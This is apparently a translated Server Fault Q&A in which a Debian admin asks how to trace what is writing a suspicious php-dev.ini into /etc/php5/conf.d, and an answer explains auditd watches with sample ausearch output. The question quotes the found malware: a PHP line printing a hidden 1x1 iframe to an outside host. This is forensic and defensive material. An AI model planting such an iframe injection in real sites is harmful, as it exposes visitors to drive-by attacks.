如何监视文件/目录更改

SoM*_*rky 1 security linux debian

我有一台运行 Debian Lenny 的服务器。最近我遇到了一些安全问题。我特别看到在 /etc/php5/conf.d 中创建了一个名为“php-dev.ini”的文件。乍一看,该文件看起来正常且无害,直到您打开它。它包含:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>
Run Code Online (Sandbox Code Playgroud)

显然我知道服务器有安全问题,所以请不要说“你给服务器打补丁了吗?” 回应。那已经完成了。已检查服务器是否存在 rootkit,并且没有可疑帐户。我对什么用户或 PID 正在写入此目录特别感兴趣,并且正在寻找可以使用哪些工具来帮助我。我已经研究过“iwatch”和“inotify”,但想在我走上研究之路之前从其他人那里得到一些反馈。有谁知道一个可以帮助我识别的好工具:

  1. 什么用户正在写入此目录
  2. 什么 PID 用于写入文件
  3. 哪个应用程序正在写入此目录

基本上,我希望做一些取证并了解监视文件系统。任何见解将不胜感激。

(编辑以引用 PHP 代码示例,因为它之前未显示。)

Jan*_*nen 9

Linux 内核从 2.6 系列的某个版本开始就有审计子系统。与auditd守护程序和各种报告工具一起使用,例如aureportausearch它允许非常细粒度的监控。

因此,假设您想监视该/etc/php5/conf.d目录,或者可能只是监视/etc/php5/conf.d/php-dev.ini文件。首先安装auditd并运行;应该很简单apt-get install auditd

然后为该文件设置监视器:

auditctl -w /etc/php5/conf.d/php5-dev.ini -p war -k uniquekeyforidentifyingthiswatch
Run Code Online (Sandbox Code Playgroud)

如果您要审核大量内容,则唯一键可帮助您搜索可能较大的日志。

然后,查看该文件是否发生了有趣的事情:

ausearch -f /etc/php5/conf.d/php5-dev.ini
Run Code Online (Sandbox Code Playgroud)

这应该会产生一个类似于这个的报告(我只是/etc/elinks.conf为你设置了一个用于演示目的的手表):

----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71152): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71152):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71152): arch=c000003e syscall=191 success=yes exit=27 a0=2601ce0 a1=3c12015d8b a2=26d1a60 a3=ff items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71153): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71153):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71153): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=0 items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71154): item=1 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=PATH msg=audit(1312439060.306:71154): item=0 name="/etc/" inode=12 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71154):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71154): arch=c000003e syscall=87 success=no exit=-13 a0=2601ce0 a1=0 a2=0 a3=3c107933ac items=2 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71155): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71155):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71155): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=3c107933ac items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
Run Code Online (Sandbox Code Playgroud)

Wow, lots of stuff in there. You'll see file name and its inode number that got accessed, raw device, SELinux context (if SELinux is used), current path the user/process had while trying to perform the operation, failed/succeeded syscall, uid/gid/effective uid of the user and the possible file system ACLs, tty where the operation was done, command and the final executable the command led, SELinux role, and so on. I just opened up that file to vim.

Further monitoring can be done by installing security framework such as grsecurity or SELinux. Especially grsecurity can be helpful since with it you can more easily (compared to SELinux) set up a special user group that gets audited and then you can log possible fork bombs, signals, chroot escape attempts and so on they try to perform. But, that can be overkill and a burden for you to watch.